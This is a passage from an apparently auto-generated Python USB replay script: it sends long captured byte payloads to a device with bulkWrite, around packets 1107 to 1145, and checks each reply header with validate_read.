b\"\\x99\\x0B\\x4A\\x89\\xE3\\xA2\\x81\\xB6\\x9B\\xCD\\xBE\\xEF\\x41\\x77\\x76\\xAC\"\n b\"\\x4B\\x67\\x9D\\x20\\xA8\\x6B\\x1F\\xBB\\xAB\\x68\\x4B\\x05\\x2B\\x3C\\x02\\x92\"\n b\"\\xC6\\xA1\\xA3\\x97\\x72\\x07\\x7F\\x27\\x95\\x7C\\x7D\\xBA\\x7C\\xD4\\x3E\\xD4\"\n b\"\\x03\\x9B\\x69\\x2D\\xE1\\x1F\\x10\\xAD\\xC5\\xE4\\x1E\\x4B\\x30\\x49\\x7F\\xF3\"\n b\"\\x96\\xE8\\xC9\\x9A\\x3A\\x68\\x2E\\xD8\\xD0\\x0F\\x1F\\x64\\xA0\\x6E\\x12\\x2C\"\n b\"\\xC8\\x95\\x38\\x42\\x41\\x3F\\x59\\x1E\\x1B\\x79\\xCE\\x9D\\xBE\\x7E\\xD9\\x82\"\n b\"\\x25\\x14\\xD3\\xBE\\x63\\x0A\\xF5\\xD6\\xD2\\x49\\xFB\\xCE\\x77\\xF0\\x52\\x79\"\n b\"\\xDE\\x39\\xC5\\x57\\xC7\\x84\\xEA\\x27\\x3D\\x3E\\xCE\\x58\\x87\\x88\\x95\\x71\"\n b\"\\xC5\\xB5\\x91\\xF0\\xB5\\xA2\\xCE\\xF1\\xC9\\x83\\x13\\x81\\x77\\x33\\x3B\\x45\"\n b\"\\xAD\\xB8\\x10\\xC1\\x37\\xB6\\x34\\x77\\x3B\\x56\\x81\\xA5\\xD3\\x30\\xAD\\xB6\"\n b\"\\x42\\xAD\\xFB\\x49\\x53\\x86\\x9C\\x32\\x26\\xAD\\x82\\xD7\\x36\\xC8\\x90\\x71\"\n b\"\\x75\\x75\\xFE\\x2F\\x6D\\xFC\\x49\\x7D\\x29\\x49\\xBE\\x44\")\n # Generated from packet 1107/1108\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1107/1108\")\n # Generated from packet 1109/1110\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6A\\xEF\\xD4\\x7F\\x4A\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x61\\x07\\xCC\\xE4\\x7C\\x9E\\x8D\\xAB\"\n b\"\\x17\\xC1\\x4D\\x62\\x38\\xA0\\x91\\xF8\\xF6\\x13\\x0D\\x2D\\xBE\\x15\\x22\\x0E\"\n b\"\\x6F\\x5D\\x7E\\x0A\\x94\\x57\\xB1\\x30\\xB1\\xCC\\x45\\x46\\xEE\\x49\\x3A\\xA9\"\n b\"\\x5D\\xEF\\x28\\xB5\\x07\\x45\\xD9\\x52\\x38\\x5D\\x0B\\x49\\xE8\\x6F\\x44\\xA1\"\n b\"\\x6D\\x30\\x3D\\xA2\\xA9\\x14\\x57\\x6A\\x2D\\x75\\x44\\xDD\\x1E\\xD7\\x7F\\x76\"\n b\"\\x9D\\xD7\\x7D\\xA2\\x10\\xD2\\x3E\\xEF\\xA3\\x76\\x34\\x02\\xCC\\x30\\xC6\\x51\"\n b\"\\xF9\\x44\\x56\\x2E\\xC2\\x6F\\x45\\xB4\\x37\\xDF\\x2B\\x7B\\x32\\x0E\\x12\\x67\"\n b\"\\xE9\\x42\\x87\\x33\\xDD\\x0D\\xE7\\xBE\\x0E\\x9C\\x6A\\xEB\\x48\\x0C\\xE0\\x09\"\n b\"\\x3E\\x42\\x3E\\xC8\\x4F\\x71\\x26\\x2A\\x98\\xB7\\x20\\x45\\x58\\x1A\\x91\\x9F\"\n b\"\\x41\\x49\\x38\\x89\\x99\\x1E\\x95\\xB5\\x3C\\x5D\\x71\\x9A\\x61\\x4B\\x55\\x16\"\n b\"\\x4E\\xDA\\x23\\x00\\x76\\xBC\\x1B\\x29\\x93\\x5C\\xE0\\x26\\x89\\xA8\\xF7\\x22\"\n b\"\\xA6\\xD5\\xDD\\xFC\\xAD\\x87\\xD4\\x1B\\x23\\xD7\\x7F\\x25\\x88\\x8E\\x17\\x74\"\n b\"\\xC0\\x12\\x84\\x15\\xE7\\x9E\\xE5\\x20\\x6A\\x11\\x0E\\xEC\\x70\\x42\\x20\\xCD\"\n b\"\\xAC\\xAC\\x35\\xEF\\x94\\xC0\\x89\\x92\\x0B\\x71\\xEF\\x8B\\xD6\\x09\\xC3\\x33\"\n b\"\\x3D\\x9E\\x82\\x73\\x5F\\x0B\\x3B\\x4B\\x7E\\x86\\x0E\\x12\\xD3\\x0B\\x27\\x23\"\n b\"\\x37\\x2E\\x7B\\xC4\\x18\\x82\\xAB\\x93\\xF1\\x2E\\xCB\\x40\\xBC\\x8B\\x38\\xEE\"\n b\"\\x53\\xC2\\xF1\\x72\\xDB\\xED\\x97\\x8B\\xC1\\x83\\x02\\x6E\")\n # Generated from packet 1111/1112\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1111/1112\")\n # Generated from packet 1113/1114\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC3\\x20\\x81\\x0A\\xD0\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x57\\x3F\\xE7\\x57\\x03\\x57\\x00\\x9E\"\n b\"\\x30\\x7E\\xC2\\xFF\\xE8\\xFF\\x35\\x7C\\x1C\\x98\\x3B\\x3E\\x10\\x41\\x7C\\x7D\"\n b\"\\xA8\\xB6\\x5D\\x83\\x46\\xFD\\xD0\\x40\\xD1\\xC6\\x63\\x2F\\xC0\\x49\\xDF\\x3C\"\n b\"\\xD4\\xE6\\x35\\xDB\\x97\\x60\\x5E\\x80\\x57\\xA9\\x61\\xC7\\x08\\x33\\x3B\\x56\"\n b\"\\x17\\xE6\\xF7\\x54\\x38\\xC5\\x36\\x1A\\xE6\\xC1\\x97\\x1E\\x88\\x4B\\x1A\\x25\"\n b\"\\x22\\x85\\xA5\\x3D\\xE9\\x99\\x85\\xCE\\x64\\x72\\xAC\\xBC\\xA5\\xA4\\xAC\\x14\"\n b\"\\x1F\\x91\\x6F\\x97\\x9E\\x02\\xD6\\xC9\\xDA\\x68\\x7D\\xC6\\x5E\\x1D\\xFB\\x94\"\n b\"\\x9C\\x13\\x89\\x5E\\xF8\\x4E\\xE0\\x3C\\x67\\x69\\xF8\\x9B\\x24\\x24\\xF2\\x90\"\n b\"\\xFF\\xE1\\xF7\\xD0\\xBC\\x66\\xF1\\xA5\\x09\\x20\\xE8\\xEC\\x8C\\x47\\x3E\\x42\"\n b\"\\x1F\\x1F\\x6B\\x0F\\x88\\x34\\x39\\x97\\xF0\\x4F\\x42\\x64\\x2F\\x26\\x57\\x83\"\n b\"\\x0E\\xD9\\x4C\\x85\\x6D\\x4A\\x8C\\x8B\\x67\\x0F\\x64\\xD0\\x7F\\x51\\xAC\\xE2\"\n b\"\\xE1\\x6F\\xDA\\x83\\x4C\\x3C\\x5B\\xB8\\xDF\\x4C\\x80\\x3E\\x3B\\x9E\\xEC\\x48\"\n b\"\\x16\\x26\\x28\\xD6\\x04\\x95\\x6B\\xD1\\xA5\\x2B\\x7A\\xB9\\x7C\\xE1\\x5D\\xFD\"\n b\"\\x63\\xA0\\x9B\\x21\\x60\\x5A\\xF0\\x8C\\xE9\\x1F\\x00\\x4B\\xA7\\xD3\\xC5\\x8B\"\n b\"\\x18\\xAE\\xE5\\x46\\x49\\xFE\\x4B\\xDF\\x4E\\xD6\\x62\\x73\\x28\\x09\\x62\\xBD\"\n b\"\\x46\\x8F\\x0A\\xB3\\x58\\xAE\\xA6\\x5D\\xF3\\x34\\xCF\\x72\\x44\\x00\\x52\\xD1\"\n b\"\\x37\\x28\\xCC\\xF8\\x65\\xE8\\xE1\\xAC\\x11\\x60\\xDF\\xE6\")\n # Generated from packet 1115/1116\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1115/1116\")\n # Generated from packet 1117/1118\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x03\\x81\\x0D\\xBD\\x57\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x29\\x17\\xEA\\xF6\\xC4\\x7E\\x74\\x1A\"\n b\"\\xFF\\x12\\x5C\\xD6\\xE5\\x77\\x9D\\x5A\\x5B\\x23\\x76\\xD1\\x34\\xF7\\x1D\\xFD\"\n b\"\\xC8\\xAD\\x61\\xB2\\x4E\\x14\\xEF\\x25\\x70\\x72\\xD1\\x34\\x9F\\x7A\\xFF\\xF2\"\n b\"\\xA1\\x9D\\x95\\x06\\x75\\xBC\\x28\\x99\\x36\\xB8\\x27\\x4E\\xE4\\xED\\xAA\\x7A\"\n b\"\\xB5\\xE0\\xA8\\x7A\\x21\\x70\\xDF\\x28\\xD7\\x4B\\x13\\x0E\\xD7\\x1E\\x15\\xCF\"\n b\"\\x0B\\x28\\xA0\\x16\\x65\\x8F\\xA9\\x25\\x5E\\x89\\x88\\x96\\xEF\\x84\\x32\\x02\"\n b\"\\x0C\\xD6\\xDC\\x6C\\xC9\\xE0\\xF0\\x5D\\xEC\\x59\\xDC\\x1F\\xE7\\x7E\\xFC\\xE3\"\n b\"\\xE4\\xCD\\xFE\\xE3\\x10\\x0F\\x46\\x24\\x72\\xB7\\x2E\\xD8\\x79\\x9B\\x90\\xC4\"\n b\"\\xE0\\x91\\x4A\\xFA\\xAA\\xC4\\x38\\x52\\xF6\\x4C\\xD6\\xBE\\x4D\\x87\\x15\\x4B\"\n b\"\\x94\\x43\\xFA\\x32\\x6E\\x30\\x6B\\x0E\\xC0\\x3A\\xF1\\x15\\xB5\\x0F\\x99\\xEF\"\n b\"\\x68\\xC0\\x06\\xD0\\xB9\\x97\\x6E\\x5F\\xD1\\x72\\xAF\\x4F\\xB4\\x5D\\x84\\xD8\"\n b\"\\x49\\xA0\\x9F\\x6F\\xA9\\x89\\xFF\\xE0\\x50\\x15\\xAC\\x55\\x98\\x45\\xC7\\xC8\"\n b\"\\x30\\xE7\\xD7\\xD4\\xFC\\xE3\\x84\\xE1\\x14\\x84\\x8D\\xEE\\x2C\\x9E\\x63\\xF5\"\n b\"\\xF3\\x5A\\xBD\\x27\\x48\\xD2\\x74\\xD9\\x95\\x55\\x95\\x32\\x9B\\x40\\x7C\\x16\"\n b\"\\x11\\xC4\\x30\\x71\\x9B\\xF3\\x75\\x50\\x6E\\x12\\xC6\\xDD\\x6D\\xF6\\x7C\\x2C\"\n b\"\\xB9\\xB8\\x44\\x5F\\x63\\x9E\\x17\\x99\\xC4\\xCF\\xFD\\xAE\\x3F\\xCE\\x9F\\xAB\"\n b\"\\xB8\\xEC\\x21\\xEA\\xD5\\xA1\\x16\\x08\\x50\\xDF\\xCD\\x03\")\n # Generated from packet 1119/1120\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1119/1120\")\n # Generated from packet 1121/1122\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x70\\xD7\\x25\\xAC\\x68\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDA\\x99\\xCF\\x93\\x53\\xA4\\xFE\\x74\"\n b\"\\x7B\\x66\\x25\\x1D\\x27\\x64\\x1F\\x4A\\x7E\\x1D\\xB0\\x1B\\x69\\x24\\xE9\\x84\"\n b\"\\x51\\x47\\x12\\xE4\\x07\\xB0\\x13\\xDD\\xA9\\x98\\x8D\\xFC\\x6B\\x3B\\xCA\\x98\"\n b\"\\x06\\x53\\x02\\x15\\x59\\x1E\\x3F\\x5A\\x53\\x4F\\xA0\\x87\\x3B\\xE6\\x6E\\x41\"\n b\"\\x5C\\xA8\\x4E\\x2E\\x56\\x74\\x49\\x48\\x04\\x2F\\xA1\\x95\\x72\\x47\\x71\\x80\"\n b\"\\x23\\x2D\\xDE\\x2D\\x74\\xC4\\x22\\x48\\x1D\\x5A\\x92\\x48\\x03\\xA2\\xF3\\x44\"\n b\"\\x62\\x1A\\x5F\\x16\\xC4\\x6D\\x71\\x03\\x75\\x3D\\x71\\xE2\\xE0\\x25\\x00\\xC8\"\n b\"\\x1B\\xA4\\x84\\x41\\x57\\x0B\\xFC\\x75\\x05\\x57\\x3C\\xEB\\xA0\\xA8\\x7E\\xCA\"\n b\"\\xB6\\xC9\\x82\\x4D\\x78\\xFC\\xA5\\x13\\x1F\\x84\\x9D\\x9A\\x78\\xA5\\xB1\\xF9\"\n b\"\\x89\\x66\\xA1\\xA8\\x60\\x57\\x6C\\x23\\xE9\\x52\\xB4\\x78\\x99\\x31\\x23\\x73\"\n b\"\\x0D\\x26\\x2C\\x78\\xA8\\xCD\\x32\\x9D\\xF2\\xB0\\x90\\x34\\xB7\\x39\\xD0\\x32\"\n b\"\\xD6\\x18\\x15\\x6A\\x99\\x58\\x9E\\x54\\x5E\\xB1\\x02\\x40\\xBA\\x34\\xD6\\x23\"\n b\"\\xA0\\xCE\\x22\\x01\\xE6\\x90\\x1A\\x6B\\x4C\\x1F\\x33\\x84\\x03\\x1D\\x99\\xAC\"\n b\"\\x02\\xE6\\xAC\\x18\\xD5\\xFF\\x52\\xE7\\xB9\\x90\\x61\\xBB\\x13\\x61\\xB6\\x38\"\n b\"\\xD6\\x36\\xE0\\xAA\\xCA\\x2C\\xBC\\xB0\\x90\\xE1\\x27\\xA4\\x73\\x8B\\xDD\\xC5\"\n b\"\\xC3\\xD8\\x57\\xB9\\xA0\\x99\\xDE\\x05\\x3C\\x4A\\x49\\x89\\x9E\\xA8\\xC0\\xC5\"\n b\"\\xAE\\xB8\\x45\\x57\\x2E\\xDC\\x57\\xD9\\x98\\x11\\xE5\\x1B\")\n # Generated from packet 1123/1124\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1123/1124\")\n # Generated from packet 1125/1126\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4C\\x12\\xB7\\x31\\x76\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x82\\xEA\\x26\\x71\\x77\\x83\\xB8\\x9D\"\n b\"\\xB3\\xE6\\x13\\x2D\\x0F\\xCF\\x0A\\x02\\x6A\\x82\\xBB\\xF5\\x6B\\x9B\\x6E\\x3F\"\n b\"\\x7C\\xED\\xF3\\xCE\\xCD\\x71\\x75\\x23\\xAE\\xBB\\x3E\\x25\\x4A\\x82\\x1C\\x59\"\n b\"\\x73\\x6E\\x5E\\xA2\\x6E\\x21\\x53\\x8A\\x59\\x98\\x99\\xDC\\x02\\x24\\xE9\\x92\"\n b\"\\x02\\xE6\\x13\\xC7\\x24\\x75\\x0E\\xC4\\xEF\\xAE\\xAE\\xD1\\xE0\\x90\\x79\\x9A\"\n b\"\\x4F\\xB4\\x0C\\x23\\x18\\x66\\x64\\x55\\xFB\\xE6\\xC3\\xA0\\x1D\\xE1\\xD3\\x8C\"\n b\"\\x21\\x80\\x9F\\x48\\x50\\xF0\\x7E\\x02\\xC8\\x93\\x2B\\xEC\\xE7\\x4A\\x8A\\xD5\"\n b\"\\xC0\\x15\\x4D\\xB2\\xA0\\x44\\xC7\\xC0\\x9B\\xE7\\x2E\\xDB\\xC2\\x10\\x17\\xF5\"\n b\"\\x73\\xAA\\x27\\x46\\x1B\\xE7\\x46\\x04\\x97\\x4B\\x2B\\x34\\xFB\\xC3\\x88\\xA2\"\n b\"\\x7E\\x1D\\x31\\xAA\\x13\\x29\\x35\\x2F\\x09\\xC4\\x3C\\x8C\\xB5\\xEF\\xA8\\x2C\"\n b\"\\x3B\\xD3\\x13\\x35\\x56\\x2E\\xC0\\x2A\\x1C\\x87\\xF5\\xAC\\x6D\\x02\\x79\\x32\"\n b\"\\x50\\xB5\\x1B\\x31\\xC7\\x6A\\x50\\x29\\x35\\xB3\\x3D\\x04\\xA6\\x1F\\xCF\\x8D\"\n b\"\\xF5\\x9F\\x2D\\x97\\x55\\xBD\\x71\\x7C\\x87\\x1C\\x7F\\xC8\\x9B\\xBE\\xB8\\xAD\"\n b\"\\xC8\\x5E\\x51\\xB9\\x59\\x3B\\x46\\xAD\\x06\\x35\\x57\\x31\\xCE\\xEF\\x08\\x12\"\n b\"\\x24\\xA6\\x42\\x65\\xE2\\x28\\xA9\\x48\\xEB\\xD5\\xAE\\xA6\\x0E\\x66\\xB5\\xBA\"\n b\"\\x79\\xE7\\x6F\\xE5\\x24\\x8E\\xBD\\x29\\x24\\xD1\\xAA\\x06\\x37\\xFF\\x13\\x3B\"\n b\"\\x94\\xB0\\x1E\\x17\\x6E\\xEB\\xB8\\x4F\\xEF\\x00\\xF5\\xE1\")\n # Generated from packet 1127/1128\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1127/1128\")\n # Generated from packet 1129/1130\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9A\\x6C\\x47\\x15\\xFA\\x66\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC1\\xF1\\x90\\x31\\x35\\x27\\xCF\\x25\"\n b\"\\xD5\\x92\\x3E\\x7F\\x2E\\x2D\\x22\\xC0\\x57\\xE3\\x63\\x3C\\xC1\\xEB\\x98\\x4E\"\n b\"\\x27\\x39\\x6A\\xD1\\xD9\\xDA\\x28\\xB5\\x31\\xC0\\xC2\\x79\\x2A\\x79\\x56\\xE1\"\n b\"\\xFC\\xF9\\xD2\\xA4\\x29\\xB5\\xC0\\xA3\\x26\\xC7\\x14\\xDA\\xC6\\x98\\x5A\\xCA\"\n b\"\\xCE\\x01\\xF0\\xDC\\xBF\\x76\\x3F\\xAA\\xDA\\x4D\\x2A\\xDE\\xAF\\x05\\xB7\\xE4\"\n b\"\\x08\\xB5\\x3B\\x57\\x78\\x78\\x8A\\x34\\x05\\xEC\\x8E\\xC8\\xF8\\x98\\x7A\\xC6\"\n b\"\\xBB\\x29\\xAA\\x92\\xA2\\x67\\x89\\x85\\x82\\xB8\\xF0\\xBA\\x5B\\x3D\\x17\\xFD\"\n b\"\\x9B\\xCC\\x79\\x1D\\x8F\\x29\\xE3\\xEA\\x11\\x3C\\x6C\\x9A\\x2C\\xBA\\xBF\\xE5\"\n b\"\\xA1\\x24\\xC9\\x49\\xCA\\x7A\\x94\\xB0\\xCD\\x9B\\xE8\\xBD\\x24\\x8E\\xF0\\x4E\"\n b\"\\x4F\\xEF\\xDA\\xB4\\xA5\\x8D\\xBC\\xAA\\x6D\\xAC\\xC6\\x81\\x9F\\x87\\xA1\\xFB\"\n b\"\\xC4\\xE7\\xBD\\xEF\\x51\\xE0\\x42\\x5E\\xD6\\x62\\xD4\\x11\\xF6\\x03\\x78\\x45\"\n b\"\\x11\\xA1\\xEE\\x2C\\x49\\x35\\x34\\x40\\xAC\\xBB\\xF3\\x36\\x3E\\x04\\xDC\\xE4\"\n b\"\\xDA\\xDF\\xB5\\xF2\\x66\\x3B\\xF8\\xC2\\x29\\x36\\xF7\\x52\\x1D\\xFC\\x6B\\x89\"\n b\"\\xC1\\x9C\\x9E\\xFB\\xAE\\x70\\x8A\\xAB\\x1F\\x8A\\xF9\\xFB\\x61\\x3B\\x1E\\x1C\"\n b\"\\x06\\x15\\x21\\xC5\\xD4\\x55\\xD0\\xBD\\x65\\x86\\xA0\\x07\\x00\\x14\\x4B\\xC5\"\n b\"\\x2E\\x85\\x18\\xEE\\x63\\x75\\x3A\\x7B\\xFB\\xB8\\x3C\\xC0\\xB7\\x1C\\x39\\xD4\"\n b\"\\x60\\x67\\xB4\\xB2\\xE5\\x71\\xB6\\xB6\\x21\\x89\\xC7\\xF6\")\n # Generated from packet 1131/1132\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1131/1132\")\n # Generated from packet 1133/1134\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\xCD\\xC6\\x8E\\x16\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFB\\xDE\\xDF\\xEF\\x35\\x1E\\xFC\\xD7\"\n b\"\\xE6\\x1A\\xCB\\x15\\xD5\\x41\\x3E\\xB7\\x51\\xB6\\x19\\x14\\x20\\x1C\\xB7\\xB1\"\n b\"\\xAC\\x80\\x6A\\xD7\\xF1\\x04\\x31\\xFB\\x88\\xD6\\xB6\\x8B\\x78\\xA2\\xE9\\x6A\"\n b\"\\x4D\\x69\\xD2\\x38\\xC9\\x3E\\x18\\x06\\x54\\xDE\\x2B\\x76\\xB7\\xD2\\x9D\\x00\"\n b\"\\xF6\\x7A\\xCD\\x8B\\xC7\\xF3\\x2D\\xDF\\x63\\xBD\\xE5\\xEE\\xAB\\x75\\x99\\x55\"\n b\"\\xB5\\x01\\x6D\\x74\\x71\\x95\\xE6\\xF0\\x02\\x74\\x45\\xAD\\xE4\\x80\\xE8\\xCE\"\n b\"\\x35\\xE1\\x15\\xF1\\xD6\\xD4\\xB4\\x5C\\x0C\\xB5\\x94\\x5C\\x37\\xB4\\x83\\x2A\"\n b\"\\xCA\\x14\\x81\\x47\\x0B\\xCF\\xF8\\xBF\\x3C\\xC7\\x2B\\xD4\\xB1\\xA3\\x60\\xD8\"\n b\"\\x41\\x00\\x12\\x0F\\xFC\\x05\\x37\\xFD\\x3F\\x0F\\x75\\x7A\\x9A\\x15\\xDD\\xC8\"\n b\"\\x11\\xC6\\x58\\xD1\\x34\\x51\\x2A\\x19\\xC2\\x6E\\x5A\\xF5\\x3C\\x18\\xBB\\xDA\"\n b\"\\xE6\\x1F\\xEF\\x25\\x5C\\xB4\\x38\\xCD\\x20\\x5A\\xD5\\x73\\x6B\\x05\\x49\\x26\"\n b\"\\xDE\\x86\\xAB\\x11\\x0C\\x17\\xB8\\xEE\\x1A\\x48\\x72\\xD2\\x97\\x54\\xB7\\x18\"\n b\"\\xC0\\x77\\x46\\x97\\x8B\\xA1\\xB2\\x4F\\xA0\\xED\\xC4\\x5C\\x00\\x0B\\x5D\\x1E\"\n b\"\\xC8\\x79\\xD4\\x37\\xBF\\x29\\x07\\x3D\\xA2\\x67\\xA2\\x06\\xBB\\xDD\\xB3\\xDF\"\n b\"\\x7E\\xEB\\x05\\x6C\\x9D\\x38\\x14\\x83\\x50\\x7F\\x54\\x01\\x11\\xCE\\xF0\\x53\"\n b\"\\xE2\\xB1\\xC9\\x8E\\x6E\\xD4\\xEC\\xD0\\x2C\\x20\\x86\\x19\\x9F\\x02\\x12\\x32\"\n b\"\\x4B\\xDE\\xA7\\xF8\\x6A\\x45\\x5B\\x46\\x18\\x5C\\x5F\\x53\")\n # Generated from packet 1135/1136\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1135/1136\")\n # Generated from packet 1137/1138\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x92\\x3D\\x7B\\xFB\\xBB\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\x10\\x07\\xFF\\xB2\\x8B\\x62\\xD5\"\n b\"\\x6F\\x9D\\x2D\\xC5\\xAF\\x3E\\xEB\\xEF\\x1E\\x93\\x00\\x73\\x2D\\xB8\\xE7\\x3A\"\n b\"\\xDA\\x2E\\xA3\\x3A\\x76\\x5D\\xFF\\xB1\\x26\\xF7\\x8D\\x2E\\x0D\\x1E\\x41\\xD5\"\n b\"\\x2D\\x5B\\x07\\x4F\\x09\\xC9\\x7B\\x18\\x95\\x15\\x94\\x12\\xBE\\x22\\x19\\x83\"\n b\"\\x01\\x6D\\x9C\\xBA\\x2C\\xFD\\x8A\\x2A\\x32\\x8C\\x23\\xFF\\x3F\\x39\\x10\\xE0\"\n b\"\\x6A\\x9E\\x8A\\xD5\\x79\\x10\\xD8\\x9F\\x7F\\x44\\xCC\\x4D\\xB3\\x87\\xAB\\x92\"\n b\"\\x6D\\xF8\\xF9\\x7B\\x20\\x65\\xD2\\x01\\x14\\x9A\\x25\\x15\\xFD\\x77\\x2A\\xDE\"\n b\"\\x86\\xC8\\x22\\xC2\\x61\\xAB\\x73\\x38\\xF2\\xAC\\x4B\\xDA\\x8F\\xBC\\xE5\\x61\"\n b\"\\xAE\\x93\\xFA\\xB9\\x5F\\x97\\x1F\\x7F\\x06\\xF5\\x84\\xF9\\x89\\x02\\x84\\xC9\"\n b\"\\x81\\xE8\\xC0\\xAF\\xC3\\x10\\xD6\\xD2\\x13\\x13\\x83\\xC1\\xA3\\xFB\\x3D\\x5E\"\n b\"\\xD1\\x9C\\x01\\xE3\\x2F\\x02\\x3E\\xEF\\x81\\xF0\\xF5\\x6A\\x80\\xB8\\x3B\\x55\"\n b\"\\x42\\x32\\x8A\\x34\\x35\\x4E\\x8E\\xC8\\xD0\\x7F\\x70\\x8B\\x93\\xCC\\xB2\\x36\"\n b\"\\x8A\\x82\\x89\\x87\\xB0\\x91\\x28\\x18\\x7E\\x7D\\xCA\\x5B\\x76\\x64\\xF8\\xA1\"\n b\"\\xD8\\xE8\\x74\\x61\\xD1\\xF1\\xB9\\x8A\\xC9\\xDB\\xF8\\xED\\x64\\x08\\x00\\x9F\"\n b\"\\x2D\\x29\\xC5\\x8B\\x26\\x6F\\x77\\x1D\\xFF\\x74\\x6F\\xEE\\x96\\xD5\\xDA\\xBC\"\n b\"\\x4C\\x72\\x61\\x08\\x94\\xC4\\x15\\xF2\\xB7\\x6A\\x68\\xA3\\xB1\\xA0\\x78\\x82\"\n b\"\\x26\\x16\\x9C\\xF4\\xEE\\xF9\\x05\\x33\\x5A\\x23\\xA5\\xED\")\n # Generated from packet 1139/1140\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1139/1140\")\n # Generated from packet 1141/1142\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDA\\x1B\\x87\\x8E\\x11\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEC\\xFB\\x1F\\x76\\x80\\xA0\\xD6\\xE1\"\n b\"\\x81\\xD6\\x05\\x12\\x55\\x94\\xC0\\xAD\\x88\\x10\\x8B\\x7A\\x5C\\xA5\\xE2\\x99\"\n b\"\\xAB\\xB9\\x35\\xBE\\x56\\xD1\\xE2\\x02\\xAD\\x55\\xAF\\x6C\\x68\\x0E\\xE7\\x2E\"\n b\"\\xEC\\x3C\\xB4\\xC5\\x70\\x4A\\x1B\\x41\\xCA\\xC3\\x6A\\xD0\\x85\\xBB\\x6C\\xE8\"\n b\"\\x93\\xF4\\x3D\\xFD\\x37\\x6E\\x5C\\x97\\x6E\\xAA\\x55\\x8C\\x27\\x38\\x17\\xF3\"\n b\"\\x35\\x78\\x79\\x3D\\x6E\\xC7\\xB1\\x68\\xD3\\xC0\\xB9\\x80\\x57\\x0B\\xFD\\xED\"\n b\"\\x31\\xC2\\xCF\\xAD\\xA5\\x4F\\x08\\x6C\\x30\\xBA\\xE8\\xBD\\x4D\\x0B\\x6F\\xE4\"\n b\"\\x10\\xE8\\x07\\x1E\\xD8\\x7E\\xB2\\x7A\\xC1\\x0A\\xCE\\xEE\\xBF\\x0C\\xBD\\x6B\"\n b\"\\xBB\\x76\\x25\\x2A\\x71\\x69\\x50\\x46\\xBB\\x39\\x01\\xBC\\xE3\\xC7\\x06\\xE5\"\n b\"\\xCB\\x0A\\x5F\\x55\\x9F\\x37\\x40\\x44\\xC1\\x9E\\xE8\\x96\\x86\\x7D\\xDC\\x84\"\n b\"\\x28\\x4E\\xE2\\x7D\\x84\\xB0\\x68\\xFF\\xB0\\xB3\\x4C\\x56\\xF6\\xDB\\xA5\\x09\"\n b\"\\xD5\\xAD\\x7B\\x02\\x81\\x49\\xEA\\x63\\x44\\x93\\x9D\\xB3\\xC9\\x3A\\x0C\\x8B\"\n b\"\\xE7\\xBC\\xF3\\xEB\\x92\\xD7\\xB9\\xCC\\xAF\\x3E\\xBD\\xA9\\xCD\\xBD\\x0D\\x0A\"\n b\"\\x85\\x8F\\x18\\x2E\\x28\\x7E\\xF1\\x72\\x2F\\xE1\\xF0\\x48\\xF7\\xEB\\x52\\x84\"\n b\"\\x77\\xB7\\x69\\x34\\xDA\\xA6\\x1E\\x57\\xC3\\xC9\\x71\\x71\\x4B\\x3B\\xA8\\x70\"\n b\"\\x2B\\xEA\\x55\\xC1\\x2B\\x03\\x1F\\x77\\x58\\xCF\\xE8\\x50\\x06\\x7D\\x43\\x7A\"\n b\"\\x78\\x46\\xD4\\x7C\\xC1\\xCD\\xE4\\x00\\xA6\\x61\\xC9\\x67\")\n # Generated from packet 1143/1144\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1143/1144\")\n # Generated from packet 1145/1146\n 